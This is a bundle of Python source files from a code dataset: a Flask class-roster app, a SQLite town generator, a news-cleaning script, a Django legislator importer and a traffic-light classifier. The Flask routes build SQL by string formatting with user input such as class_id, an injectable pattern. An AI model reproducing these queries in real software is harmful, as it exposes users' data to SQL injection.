'{8}'\".format(\n                form.title.data, form.lvl.data, form.maxCap.data, form.instructorID.data, form.room.data,\n                form.timeslotID.data, form.sessionID.data, form.price.data, class_id))\n\n        # Commit the data to the database\n        conn.commit()\n\n        # Close the cursor\n        cursor.close()\n\n        # Close the connection to the database\n        conn.close()\n\n        flash('Class Edited!', 'success')\n        return redirect(url_for('class_search'))\n\n    return render_template('edit_class.html', title='Edit Class', form=form, sessions=resultSessions,\n                           timeslots=resultTimeslots, staff=resultStaff, resultClass=resultClass)\n\n\n@app.route('/roster/<class_id>', methods=['GET', 'POST'])\n@login_required\ndef roster(class_id):\n    students = None\n    if current_user.role == 'Student':\n        flash('You do not have access to that page!', 'danger')\n        return redirect(url_for('home'))\n\n    # Create the connection to the database\n    conn = connector.connect(**config)\n\n    # Create the cursor for the connection\n    cursor = conn.cursor()\n\n    cursor.execute(\"SELECT * \"\n                   \"FROM students s, class c, takes t \"\n                   \"WHERE s.id = t.studentID \"\n                   \"AND c.classID = t.classID \"\n                   \"AND c.classID = '{0}'\".format(class_id))\n\n    students = cursor.fetchall()\n\n    # Commit the data to the database\n    conn.commit()\n\n    # Close the cursor\n    cursor.close()\n\n    # Close the connection to the database\n    conn.close()\n\n    return render_template('roster.html', title='Roster', students=students)\n","sub_path":"uyp/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":32865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"18865067","text":"# main.py\n\nimport random\nimport sqlite3\nimport os.path\nimport sys\nfrom random import randint\nfrom mimesis import Person as mimePerson\n\nprint('Hello, Town!')\n\ndb_file = 'town_database.db'\n\n\ndef main_menu():\n    # Query the data\n    print(\"Main Menu\")\n    print(\"1. Print all humans\")\n    print(\"2. Select humans to print\")\n    print(\"3. Exit\")\n    choice = int(input(\"What do you want to do?\"))\n    if choice == 1:\n        cur = conn.cursor()\n        cur.execute('SELECT * FROM People')\n\n        rows = cur.fetchall()\n        for row in rows:\n            print(row)\n\n    elif choice == 2:\n        cur = conn.cursor()\n        race = str(input(\"What race do you want to find?\"))\n        age_max = int(input('Enter maximum age:'))\n        age_min = int(input('Enter minimum age:'))\n        cur.execute('SELECT * FROM People WHERE Race=? AND Age <=? AND Age >=?', (race, age_max, age_min,))\n\n        rows = cur.fetchall()\n        for row in rows:\n            print(row)\n\n    elif choice == 3:\n        sys.exit()\n\n\n# database exists\nif os.path.exists(db_file):\n    conn = sqlite3.connect('file:town_database.db?mode=rw', uri=True)\n    print(\"Database connection established...\")\n    main_menu()\n\n# create database\nelse:\n    conn = sqlite3.connect(db_file)\n    conn.execute(\"\"\"CREATE TABLE People \n    (id int PRIMARY KEY,\n     name TEXT,\n     age INT,\n     gender TEXT,\n     race TEXT)\"\"\")\n\n    conn.execute(\"\"\"CREATE TABLE Houses\n    (id int PRIMARY KEY,\n    street TEXT,\n    house_number INT,\n    size INT)\"\"\")\n\n    # Houses&Bunkers Co.\n    class House:\n\n        house_id = 0\n\n        def __init__(self):\n            self.house_id = House.house_id\n            House.house_id += 1\n\n            self.street = random.choice(street_list) + ' ' + random.choice(street_modifier_list)\n            self.house_number = randint(1, 30)\n            self.size = random.choice(house_sizes_list)\n\n        def return_info(self):\n            return self.house_id, self.street, self.house_number, self.size\n\n    # What makes a human?\n    class Person:\n\n        person_id = 0\n\n        def __init__(self):\n            self.person_id = Person.person_id\n            Person.person_id += 1\n\n            self.name = random.choice(name_list)\n            self.age = randint(18, 90)\n            self.gender = random.choice(gender_list)\n            self.race = random.choice(race_list)\n\n        def show_info(self):\n            print(self.name, self.person_id, self.age, self.gender, self.race)\n\n        def return_info(self):\n            return self.person_id, self.name, self.age, self.gender, self.race\n\n    # Person creator lists\n    name_list = ['JJ', 'John', 'Chloe', 'Max', 'Jessica']\n    gender_list = ['male', 'female']\n    race_list = ['white', 'black', 'asian']\n\n    # House creator lists\n    street_list = ['Jackson', 'Beverly', 'Edson', 'Long']\n    street_modifier_list = ['Street', 'Lane', 'Avenue']\n    house_sizes_list = ['small', 'medium', 'big']\n\n    print(\"Database table created...\")\n\n    # Human Printing Facility\n    for x in range(100):\n        human = Person()\n        human.show_info()\n        human_info = human.return_info()\n        conn.execute(\"INSERT INTO People VALUES(?, ?, ?, ?, ?);\",\n                     (human_info[0], human_info[1], human_info[2], human_info[3], human_info[4]))\n    conn.commit()\n\n    # House Builder Division\n    for x in range(20):\n        house = House()\n        house_info = house.return_info()\n        conn.execute(\"INSERT INTO Houses VALUES(?, ?, ?, ?);\",\n                     (house_info[0], house_info[1], house_info[2], house_info[3]))\n\n    conn.commit()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"573533276","text":"# json to excel\r\n# coding:utf8\r\nimport json\r\nimport openpyxl\r\nimport re\r\n\r\n# -------------------- 標題清洗pattern -----------------------\r\n# 取代為\"\"   【xxx】：\r\npattern_title = re.compile(r'【圖輯】');\r\n\r\n# -------------------- 內文清洗pattern -----------------------\r\n# 取代為\"\"   xxx編輯xxx\r\npattern_intern = re.compile(r'((\\(|（).{0,6}編輯|(\\(|（)譯者).{2,8}(）|\\))');\r\n# 取代為\"\"   特定詞語+連結\r\npattern_fb = re.compile(r'(臉書全文：|直播畫面：|聲明全文：|原文連結：|連結：|請點我☛|資料來源：|同場加映：|影片：|推特全文：|觀看影片請點|如無法觀看影片|更多精彩照片看這裡|請點此連結|APP用戶如欲觀看|App用戶看不到影片|APP用戶觀看影片|手機APP用戶請點此觀看​|用戶請點：|Dcard原文連結：|手機用戶請點|報名網址|PTT原文：|手機用戶無法觀看影片請點|影片來源|影片連結|影片請點此|點我看更多|更多資訊請洽官方粉絲團).*(http://|https://|www)[a-zA-Z0-9\\\\./_)）]+');\r\n# 取代為\"\"   所有連結\r\npattern_conn = re.compile(r'(http://|https://|www)[a-zA-Z0-9\\\\./_]+')\r\n# 取代為\"\"   特定語句\r\npattern_sentence = re.compile(\r\n    r'(NUTS圖片來源／|【點我看更多詳細內容】|喝酒不開車、開車不喝酒！|未成年請勿飲酒，飲酒過量，有礙健康！|莫逞一時樂，遺害百年身！|拒絕毒品　珍惜生命|健康無價　不容毒噬)|圖／|影／|文/|文字／|編輯／|美術設計／|攝影／|模特／|文章來源／|(請鎖定《三立新聞網》|健康有方)')\r\n# 取代為\"\"   xxxx/xx報導\r\npattern_report = re.compile(r'[\\u4e00-\\u9fa5]{2,4}(／|/)[\\u4e00-\\u9fa5]{2,4}(報導)')\r\n# 取代為\"\"   ✿ (多為裝飾符)\r\npattern_flower = re.compile(r'(✿|❤|\\(\\)|（）|　|◆|＊)');\r\n\r\n# -------------------- pattern宣告結束 -----------------------\r\n\r\n\r\n\r\nworkbook = openpyxl.Workbook()\r\nsheet = workbook.worksheets[0]\r\nlisttitle = [\"title\", \"date\", \"author\", \"text\", \"url\", \"tags\", \"type_list\", \"source\", \"views\", \"share\", \"like\"]\r\nsheet.append(listtitle)\r\nILLEGAL_CHARACTERS_RE = re.compile(r'[\\000-\\010]|[\\013-\\014]|[\\016-\\037]')\r\nILLEGAL_CHARACTERS_EMOJI = re.compile(u'[\\U00010000-\\U0010ffff]')\r\nwith open(\"D:/news/setn10000.json\", \"r\", encoding='utf8') as jsonfile:\r\n    data = json.load(jsonfile)\r\n    for i in data.keys():\r\n        tags = \"\"\r\n        if data[i]['tags']:\r\n            for tagstring in data[i]['tags']:\r\n                tags = tags + tagstring + \"、\"\r\n            tags = tags[0:-1]\r\n            # print(tags)\r\n\r\n        type_list = \"\"\r\n        if data[i]['type_list']:\r\n            for type_liststring in data[i]['type_list']:\r\n                type_list = type_list + type_liststring + \"、\"\r\n            type_list = type_list[0:-1]\r\n            # print(type_list)\r\n\r\n# -------------------- 標題清洗 -----------------------\r\n        title = data[i]['title'];\r\n        if re.search(pattern_title, title):\r\n            title = pattern_title.sub('', title);\r\n\r\n# -------------------- 內文清洗 -----------------------\r\n        content = data[i]['text'];\r\n        # -------------------- 清除後續 -----------------------\r\n        # 清除 \"※\"後的所有內容\r\n        check_sup = content.__contains__('※');\r\n        if check_sup:\r\n            split_sup = content.split('※');\r\n            content = split_sup[0];\r\n        # 清除 \"░\"後的所有內容\r\n        check_mark1 = content.__contains__('░');\r\n        if check_mark1:\r\n            split_mark1 = content.split('░');\r\n            content = split_mark1[0];\r\n        # 清除 \"【更多\"後的所有內容\r\n        check_mark3 = content.__contains__('【更多');\r\n        if check_mark3:\r\n            split_mark3 = content.split('【更多');\r\n            content = split_mark3[0];\r\n        # 清除 \"延伸閱讀\"後的所有內容\r\n        check_extend = content.__contains__('延伸閱讀');\r\n        if check_extend:\r\n            split_extend = content.split('延伸閱讀');\r\n            content = split_extend[0];\r\n        # 清除 \"更多完整內容直播\"後的所有內容\r\n        check_moredetail = content.__contains__('更多完整內容直播');\r\n        if check_moredetail:\r\n            split_moredetail = content.split('更多完整內容直播');\r\n            content = split_moredetail[0];\r\n        # 清除 \"作者：\"後的所有內容\r\n        check_authorInText = content.__contains__('作者：');\r\n        if check_authorInText:\r\n            split_authorInText = content.split('作者：');\r\n            content = split_authorInText[0];\r\n\r\n        # -------------------- 取代單個 -----------------------\r\n        check_intern = re.search(pattern_intern, content);\r\n        if check_intern:\r\n            content = pattern_intern.sub('', content);\r\n\r\n        check_fb = re.search(pattern_fb, content);\r\n        if check_fb:\r\n            content = pattern_fb.sub('', content);\r\n\r\n        check_conn = re.search(pattern_conn, content);\r\n        if check_conn:\r\n            content = pattern_conn.sub('', content);\r\n\r\n        check_sentence = re.search(pattern_sentence, content);\r\n        if check_sentence:\r\n            content = pattern_sentence.sub('', content);\r\n\r\n        check_report = re.search(pattern_report, content);\r\n        if check_report:\r\n            content = pattern_report.sub('', content);\r\n\r\n        check_flower = re.search(pattern_flower, content);\r\n        if check_flower:\r\n            content = pattern_flower.sub('', content);\r\n\r\n# -------------------- 清洗結束 -----------------------\r\n\r\n\r\n\r\n\r\n        row = [title, data[i]['time'].split('_')[0], data[i]['author'], content,\r\n               data[i]['url'] + \" \", tags, type_list, data[i]['source'], data[i]['like'], data[i]['share'],\r\n               data[i]['views']];\r\n        count = 0\r\n        for i in row:\r\n            row[count] = ILLEGAL_CHARACTERS_RE.sub(r'', row[count])\r\n            row[count] = ILLEGAL_CHARACTERS_EMOJI.sub(r'', row[count])\r\n            count += 1\r\n        sheet.append(row)\r\nworkbook.save(\"D:/news/setn10000.xlsx\")\r\n","sub_path":"setn_json2excel.py","file_name":"setn_json2excel.py","file_ext":"py","file_size_in_byte":6113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"532000883","text":"# Autor: Luis Alberto Zepeda Hernandez, A01328616\n# Descripcion: calcular el porcentaje de hombres y mujeres inscritos en una clase.\n\n# Escribe tu programa después de esta línea.\n\nmujeres = int(input(\"Mujeres inscirtas: \"))\nhombres = int(input(\"Hombres inscritos: \"))\n\ntotal = hombres + mujeres\nporcentajeMujeres = mujeres / total * 100\nporcentajeHombres = hombres / total * 100\n\nprint(\"Total inscritos: \", total, \"alumnos\")\nprint(\"Porcentaje de mujeres inscritas: \", \"{0:.1f}\".format(porcentajeMujeres),\"%\")\nprint(\"Porcentaje de hombres inscritos: \", \"{0:.1f}\".format(porcentajeHombres),\"%\")\n","sub_path":"clase.py","file_name":"clase.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"341932863","text":"import os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"legislature_directory.settings\")\n\nimport csv\nimport json\nimport re\nfrom itertools import islice\nimport xlrd\nfrom legislator import services\nfrom legislator import webscrape\n\nfrom legislator.models import Legislator, Office, Committee, Industry_Contributor, Individual_Contributor, \\\n    District_Candidate, District_County, \\\n    District_Registration, Champion\nfrom legislator.import_district_zip import run_import_district_zip\n\n# django.setup()\n# api call to get all california state legislators from openstates in JSON\nopenLeg = services.get_legislators()\n\npath_to_id = \"./idlist.csv\"\npath_senate_district = \"./senate_district.xls\"\npath_registration_senate_district = \"./registration_senate_district.xls\"\npath_registration_assembly_district = \"./registration_assembly_district.xls\"\npath_votes_by_senate_district = \"./votes_by_senate.xls\"\npath_votes_by_assembly_district = \"./votes_by_assembly.xls\"\npath_issue_champ = \"./issuechampions.xls\"\n\n# lists to hold partitions of JSON and pick the data needed\noffice_list = []\nleg_committee_roles = []\nopenids = []\ncontributors = []\namount = []\nleg_nimsp_dict = {}\n\n# create a list of openstates ID's, example: CAL000123\nfor open_id in openLeg:\n    openids.append(open_id['leg_id'])\n\n\n# reads the xref of openstates id's and nimsp id's\ndef read_id_csv(id):\n    with open(path_to_id, 'rU') as csvfile:\n        reader = csv.reader(csvfile)\n        for row in reader:\n            if id in row[2]:\n                return row[3]\n    csvfile.close()\n\n\ndef take(n, iterable):\n    # Return first n items of the iterable as a list\n    return list(islice(iterable, n))\n\n\n# chamber accepts values \"Senate\" or \"Assembly\"\ndef read_votes(file, chamber):\n    book = xlrd.open_workbook(file)\n    sheet = book.sheet_by_index(0)\n    row = 0\n    while row <= sheet.nrows:\n        # get district\n        district = sheet.cell(row, 0).value\n        # get names 2 rows down\n        row += 2\n        name1 = sheet.cell(row, 1).value\n        name2 = sheet.cell(row, 2).value\n        # get party 1 row down\n        row += 1\n        party1 = sheet.cell(row, 1).value\n        party2 = sheet.cell(row, 2).value\n        # get counties starting one row down\n        row += 1\n        counties = []\n        county = sheet.cell(row, 0).value\n        votes1 = sheet.cell(row, 1).value\n        votes2 = sheet.cell(row, 2).value\n        while county != 'District Totals':\n            counties.append((county, votes1, votes2))\n            row += 1\n            county = sheet.cell(row, 0).value\n            votes1 = sheet.cell(row, 1).value\n            votes2 = sheet.cell(row, 2).value\n\n        # get district totals 1 row down (we already did row += 1)\n        total1 = sheet.cell(row, 1).value\n        total2 = sheet.cell(row, 2).value\n\n        # get percent 1 row down\n        row += 1\n        percent1 = sheet.cell(row, 1).value\n        percent2 = sheet.cell(row, 2).value\n\n        # put data into db\n        district_candidate1 = District_Candidate.objects.create()\n        district_candidate1.district_num = re.findall('\\d+', district)[0]  # get only number at beginning of string\n        district_candidate1.full_name = re.sub(r'[^\\s.\\w]+', '', ' '.join(\n            name1.split()))  # convert whitespace chars to space and strip non alphanumeric\n        district_candidate1.party = party1\n        district_candidate1.percent = percent1\n        district_candidate1.total = total1\n        district_candidate1.chamber = chamber\n\n        # if we have a second candidate (empty string is falsy)\n        has_two_candidates = bool(name2)\n\n        if has_two_candidates:\n            district_candidate2 = District_Candidate.objects.create()\n            district_candidate2.district_num = re.findall('\\d+', district)[0]  # get only number at beginning of string\n            district_candidate2.full_name = re.sub(r'[^\\s.\\w]+', '', ' '.join(\n                name2.split()))  # convert whitespace chars to space and strip non alphanumeric\n            district_candidate2.party = party2\n            district_candidate2.percent = percent2\n            district_candidate2.total = total2\n            district_candidate2.chamber = chamber\n\n        if has_two_candidates and district_candidate1.total > district_candidate2.total or not has_two_candidates:\n            district_candidate1.individual_leg = Legislator.objects.get(district_num=district_candidate1.district_num,\n                                                                        chamber=chamber)\n        else:\n            district_candidate2.individual_leg = Legislator.objects.get(district_num=district_candidate2.district_num,\n                                                                        chamber=chamber)\n        district_candidate1.save()\n\n        if has_two_candidates:\n            district_candidate2.save()\n\n        for county in counties:\n            district_county1 = District_County.objects.create()\n            district_county1.district_candidate = district_candidate1\n            district_county1.county = county[0]\n            district_county1.votes = county[1]\n            district_county1.save()\n\n            if has_two_candidates:\n                district_county2 = District_County.objects.create()\n                district_county2.district_candidate = district_candidate2\n                district_county2.county = county[0]\n                district_county2.votes = county[2]\n                district_county2.save()\n\n        # go to next district 3 lines down\n        row += 3\n\n\ndef read_registered(file, chamber):\n    book = xlrd.open_workbook(file)\n    sheet = book.sheet_by_index(0)\n    row = 1\n    while row <= sheet.nrows and sheet.cell(row, 0).value != 'State Total':\n        # get district (only numerical component)\n        district_num = re.findall('\\d+', sheet.cell(row, 0).value)[0]\n        row += 1\n        while sheet.cell(row, 1).value != 'District Total':\n            district_registration = District_Registration.objects.create()\n            district_registration.district_num = district_num\n            district_registration.chamber = chamber\n            district_registration.county = sheet.cell(row, 1).value\n            district_registration.total_registered = sheet.cell(row, 2).value\n            district_registration.democratic = sheet.cell(row, 3).value\n            district_registration.republican = sheet.cell(row, 4).value\n            district_registration.american_independent = sheet.cell(row, 5).value\n            district_registration.green = sheet.cell(row, 6).value\n            district_registration.libertarian = sheet.cell(row, 7).value\n            district_registration.peace_and_freedom = sheet.cell(row, 8).value\n            district_registration.other = sheet.cell(row, 9).value\n            district_registration.no_party_preference = sheet.cell(row, 10).value\n            district_registration.save()\n            row += 1\n\n        # go to next district\n        row += 3\n\n\n# Populates the database. Also uses api calls from legislator.services and webscrape.py\ndef pop_db():\n    # gets each individual legislator from openstates using the ID's, then creates\n    # a legislator within the models.\n    for ea_leg in openids:\n        ind_leg = services.get_legislator(ea_leg)\n        leg = Legislator.objects.create()\n        ftm_id = read_id_csv(ea_leg)\n        try:\n            # API call to follow the money and converts to JSON then takes the top 5 contributors.\n            finance_bytes = services.get_ftm(ftm_id)\n            finance = json.loads(finance_bytes.decode('utf-8'))\n            meta = finance['metaInfo']\n            page = meta['paging']\n            max_page = int(page['totalPages'])\n            print(max_page)\n            totals = services.get_total(ftm_id)\n            total = json.loads(totals.decode('utf-8'))\n            total_records = total['records']\n            for record in total_records:\n                total_amount = record['Total_$']\n                leg.total_contribution = float(total_amount['Total_$'])\n\n            for i in range(0, max_page):\n                pg_string = str(i)\n                finance_page_bytes = services.paginate_industry_ftm(ftm_id, pg_string)\n                finance_page = json.loads(finance_page_bytes.decode('utf-8'))\n                for top in finance_page['records']:\n                    contributors = top['Contributor']\n                    amount = top['Total_$']\n                    broad_sector = top['Broad_Sector']\n                    general_industry = top['General_Industry']\n                    year = top['Election_Year']\n                    con_entry = Industry_Contributor.objects.create()\n                    con_entry.industry_contributor = contributors['Contributor']\n                    con_entry.amount = float(amount['Total_$'])\n                    con_entry.broad_sector = broad_sector['Broad_Sector']\n                    con_entry.general_industry = general_industry['General_Industry']\n                    con_entry.year = year['Election_Year']\n                    con_entry.industry_leg = leg\n                    con_entry.save()\n\n            # this next section does the same as above, but for individual contributors.\n            ind_finance_bytes = services.get_ftm_ind(ftm_id)\n            finance_ind = json.loads(ind_finance_bytes.decode('utf-8'))\n            meta_ind = finance_ind['metaInfo']\n            page_ind = meta_ind['paging']\n            max_page_ind = int(page_ind['totalPages'])\n            print(max_page_ind)\n\n            # this next section does the same as above, but for individual contributors.\n            ind_finance_bytes = services.get_ftm_ind(ftm_id)\n            finance_ind = json.loads(ind_finance_bytes.decode('utf-8'))\n            meta_ind = finance_ind['metaInfo']\n            page_ind = meta_ind['paging']\n            max_page_ind = int(page_ind['totalPages'])\n\n            for i in range(0, max_page_ind):\n                pg_string_ind = str(i)\n                ind_finance_bytes_page = services.paginate_individual_ftm(ftm_id, pg_string_ind)\n                finance_ind_page = json.loads(ind_finance_bytes_page.decode('utf-8'))\n\n                for top_ind in finance_ind_page['records']:\n                    ind_contributors = top_ind['Contributor']\n                    ind_amount = top_ind['Total_$']\n                    ind_broad_sector = top_ind['Broad_Sector']\n                    ind_general_industry = top_ind['General_Industry']\n                    ind_year = top_ind['Election_Year']\n                    con_ind_entry = Individual_Contributor.objects.create()\n                    con_ind_entry.individual_contributor = ind_contributors['Contributor']\n                    con_ind_entry.amount = float(ind_amount['Total_$'])\n                    con_ind_entry.broad_sector = ind_broad_sector['Broad_Sector']\n                    con_ind_entry.general_industry = ind_general_industry['General_Industry']\n                    con_ind_entry.year = ind_year['Election_Year']\n                    con_ind_entry.individual_leg = leg\n                    con_ind_entry.save()\n\n        except:\n            print('wrong id: ' + ea_leg)\n        # Populates the office information\n        if ind_leg['offices']:\n            office_list = ind_leg['offices']\n            for office in office_list:\n                office_entry = Office.objects.create()\n                office_entry.address = office['address']\n                office_entry.fax = office['fax']\n                office_entry.email = office['email']\n                office_entry.name = office['name']\n                office_entry.office_type = office['type']\n                office_entry.phone = office['phone']\n                office_entry.legislator = leg\n                office_entry.save()\n        # Populates the committee membership.\n        if ind_leg['roles']:\n            leg_committee_roles = ind_leg['roles']\n            leg_committee_roles = leg_committee_roles[1:len(leg_committee_roles)]\n            for role in leg_committee_roles:\n                committee = Committee.objects.create()\n                committee.parent_committee = role['committee']\n                committee.position = role['position']\n                committee.committee_membership = leg\n                committee.save()\n        # Populates basic information\n        leg.full_name = ind_leg['full_name']\n        leg.district_num = ind_leg['district']\n        leg.party = ind_leg['party']\n        leg.first_name = ind_leg['first_name']\n        leg.last_name = ind_leg['last_name']\n        if ind_leg['chamber'] == 'upper':\n            leg.chamber = 'Senate'\n        else:\n            leg.chamber = 'Assembly'\n        leg.photo_url = ind_leg['photo_url']\n        first = ind_leg['first_name']\n        no_space = first.split(' ', 1)[0]\n        last = ind_leg['last_name']\n        leg.last_updated = ind_leg['updated_at']\n        # Using webscrape.py to populate more biographical information\n        read_champs(path_issue_champ, leg)\n        votesmart_id = webscrape.read_vote_csv(ftm_id, no_space, last)\n        print(votesmart_id)\n        webscrape.web_scrape(leg, votesmart_id)\n        leg.save()\n\n\ndef read_champs(xcel, leg):\n    champ_book = xlrd.open_workbook(xcel)\n    champ_sheet = champ_book.sheet_by_index(0)\n    num_cols = champ_sheet.ncols  # Number of columns\n    for col_idx in range(1, num_cols):  # Iterate through columns\n        issue = champ_sheet.cell(1, col_idx).value\n        for row_idx in range(2, champ_sheet.nrows):  # Iterate through rows\n            cell_obj = champ_sheet.cell(row_idx, col_idx)  # Get cell object by row, col\n            if cell_obj.value == leg.full_name:\n                champ = Champion.objects.create()\n                champ.issue_champ = issue\n                champ.legislator_champ = leg\n                champ.save()\n\n\"\"\"if __name__ == '__main__':\n    a = datetime.datetime.now()\n    NUM_WORKERS = 4\n    pool = Pool(NUM_WORKERS)\n    pool.map(pop_db, openids)\n    pool.close()\n    pool.join()\n    b = datetime.datetime.now()\n    print(b - a)\"\"\"\n\n# workers      time\n# 80           9 min 4 sec\n# 60           8 min 56 sec\npop_db()\nread_votes(path_votes_by_senate_district, 'Senate')\nread_votes(path_votes_by_assembly_district, 'Assembly')\nread_registered(path_registration_senate_district, 'Senate')\nread_registered(path_registration_assembly_district, 'Assembly')\n#run_import_district_zip()\n\nprint(\"Complete\")\n","sub_path":"legislator/dbscript.py","file_name":"dbscript.py","file_ext":"py","file_size_in_byte":14408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"631029028","text":"import rospy\nfrom styx_msgs.msg import TrafficLight\nimport os\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport glob\nimport scipy.misc\nimport pickle\nimport feature_detection as fd\nimport math\n\n\nclass TLClassifier(object):\n    def __init__(self, SVC_PATH, is_simulator):\n\n        #load the model     \n        data = self.getModelData(SVC_PATH)\n        self.X_scaler = data[\"X_scaler\"]\n        self.svc = data[\"svc\"]\n        self.param = data[\"param\"]        \n        self.is_simulator = is_simulator        \n        rospy.loginfo(\"param %s\",self.param)\n  \n    #load a pickle file and return the model dictionary  containg the keys X_scaler and svc\n    def getModelData(self,SVC_PATH):\n      data = {}\n      #load trained svc\n      with open(SVC_PATH, \"rb\") as f:\n        data = pickle.load(f)\n        \n      rospy.loginfo(\"loaded model %s\",SVC_PATH)\n      return data\n  \n        #define search parameter for window search.\n    def getSearchParam(self):\n        search_param = []\n        search_param.append((64,0,64,0,64,1))  \n        return search_param\n  \n    #the process chain for an image. \n    def processColoredImage(self,image,debug,X_scaler,svc,param):\n#        heatmap = gd.data[\"heatmap\"]\n #       gd.data[\"image_counter\"]= gd.data[\"image_counter\"] + 1\n        if image is None:\n            return None\n      \n        normImage = image.copy().astype(\"float32\") / 255.0\n\n        windows = []\n        result = image\n        debugImg = image\n    \n        search_param = self.getSearchParam()\n#        all_hot_windows = []\n        #  create the windows list sliding ofver the search area\n        for i in range(len(search_param)):  \n            (size,y_start, y_stop, x_start, x_stop,ov) = search_param[i]\n    \n            new_win = fd.slideWindow(normImage, x_start_stop=(x_start, x_stop), y_start_stop=(y_start, y_stop), \n                                     xy_window=(size,size), xy_overlap=(ov, ov))\n        \n            windows += new_win\n    \n        #  print(windows2)\n        (color_space,hog_channel,spatial_feat,hist_feat,hog_feat,cell_per_block) = param\n        orient = 9  # HOG orientations\n        pix_per_cell = 8 # HOG pixels per cell\n        spatial_size = (16, 16) # Spatial binning dimensions\n        hist_bins = 16    # Number of histogram bins\n        # classify the image parts in the search windows\n        hot_windows = fd.searchWindows(normImage, windows, svc, X_scaler, color_space=color_space, \n                          spatial_size=spatial_size, hist_bins=hist_bins, \n                          orient=orient, pix_per_cell=pix_per_cell, \n                          cell_per_block=cell_per_block, \n                          hog_channel=hog_channel, spatial_feat=spatial_feat, \n                          hist_feat=hist_feat, hog_feat=hog_feat)\n        \n        best_state = -1\n        max_count = -1\n        for i in range(4):\n            if len(hot_windows[i]) > max_count:\n                best_state = i\n                max_count = len(hot_windows[i])\n#                rospy.loginfo(\"state %s count %s\",best_state, max_count)\n            elif max_count > 0 and len(hot_windows[i]) == max_count:\n                best_state = 4\n                max_count = len(hot_windows[i])\n#                rospy.loginfo(\"eqality set to unknown state %s count %s\",best_state, max_count)\n        \n#        rospy.loginfo(\"best state %s count %s\",best_state, max_count)\n        return best_state\n                                   \n    def getSearchParam2(self, shape):\n        search_param = []\n#        search_param.append((128,256,768,0,1024,0.75))  \n        search_param.append((20,shape[0]*0.2,shape[0]*0.9,10,shape[1]-10,0.75))  #simulator\n        return search_param\n                              \n    def distance(self, pos1, pos2):\n        return math.sqrt((pos1[0] - pos2[0])*(pos1[0] - pos2[0]) + (pos1[1] - pos2[1])*(pos1[1] - pos2[1]))\n                                       \n    counter = 0\n    #the process chain for an image. \n    def find_class_position(self,image,debug):\n#        heatmap = gd.data[\"heatmap\"]\n #       gd.data[\"image_counter\"]= gd.data[\"image_counter\"] + 1\n      \n        windows = []\n        debugImg = image\n    \n        search_param = self.getSearchParam2(image.shape)\n#        all_hot_windows = []\n        #  create the windows list sliding ofver the search area\n        for i in range(len(search_param)):  \n            (size,y_start, y_stop, x_start, x_stop,ov) = search_param[i]\n    \n            new_win = fd.slideWindow(image, x_start_stop=(x_start, x_stop), y_start_stop=(y_start, y_stop), \n                                     xy_window=(size,size), xy_overlap=(ov, ov))\n        \n            windows += new_win\n    \n        bitmap = None   \n        green_bm = fd.greenBinaryFromRGB(image,self.is_simulator)  \n        if np.sum(green_bm) > 10000:\n            rospy.loginfo(\"looking for green\")\n            bitmap = green_bm;\n       \n        yellow_bm = fd.yellowBinaryFromRGB(image,self.is_simulator)  \n        if np.sum(yellow_bm) > 10000:\n            rospy.loginfo(\"looking for yellow\")\n            bitmap = yellow_bm;\n        \n        red_bm = fd.redBinaryFromRGB(image,self.is_simulator)  \n        if np.sum(red_bm) > 10000:\n            rospy.loginfo(\"looking for red\")\n            bitmap = red_bm;\n        \n        if bitmap is None:\n            return None\n                                   \n        #filter windows that have a center in the bitmap\n        filtered_windows = []\n        shape = (windows[0][1][1]-windows[0][0][1],windows[0][1][0]-windows[0][0][0])\n        for window in windows:            \n            center = (int(window[0][0] + shape[0]*0.5),int(window[0][1] + shape[1]*0.5))\n            if bitmap[center[1],center[0]] > 0:\n#                rospy.loginfo(\"filtered_windows %s\",filtered_windows)\n                filtered_windows.append(window)        \n    \n        #find the window that is most center in the window\n        max_sum = 0\n        best_window = None\n        for window in filtered_windows:\n            bsum = np.sum(bitmap[window[0][1]:window[1][1],window[0][0]:window[1][0]])\n#            rospy.loginfo(\"window %s bsum %s\",window, bsum)\n            if max_sum < bsum:\n#                rospy.loginfo(\"window %s bsum %s\",window, bsum)\n                max_sum = bsum\n                best_window = window             \n        \n        if best_window is None:\n            return None\n#        rospy.loginfo(\"found %s\",best_window)\n        \n        if debug:\n            debugImg = fd.drawBoxes(image, filtered_windows, color=(0, 0, 255), thick=1)\n#            global counter\n            counter = 1\n            path_to_image = os.path.join(\"/home/frank/selfdriving/sdc_course/CarND-Capstone/debug\",\"{0}_{1}.jpg\".format(\"debug\",counter))\n            scipy.misc.imsave(path_to_image, debugImg)    \n        \n#        rospy.loginfo(\"best state %s count %s\",best_state, max_count)\n        center = (int(best_window[0][0] + shape[0]*0.5),int(best_window[0][1] + shape[1]*0.5))\n        return center                                   \n  \n    def get_classification(self, image):        \n        \"\"\"Determines the color of the traffic light in the image\n\n        Args:\n            image (cv::Mat): image containing the traffic light\n\n        Returns:\n            int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n        \"\"\"\n        #implement light color prediction\n        \n        state = self.processColoredImage(image,False,self.X_scaler, self.svc, self.param)\n        rospy.loginfo(\"classifier state %s\",state)\n        return state\n\n    def find_classification(self, image):        \n        \"\"\"Determines the color of the traffic light in the image\n\n        Args:\n            image (cv::Mat): image containing the traffic light\n\n        Returns:\n            int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n        \"\"\"\n        #implement light color prediction\n        \n        pos = self.find_class_position(image,False)\n        if pos is not None:\n#            rospy.loginfo(\"classifier pos %s\",pos)\n            return  pos\n        return (None,None)       \n\n","sub_path":"CarND-Capstone/ros/src/tl_detector/light_classification/tl_classifier.py","file_name":"tl_classifier.py","file_ext":"py","file_size_in_byte":8146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
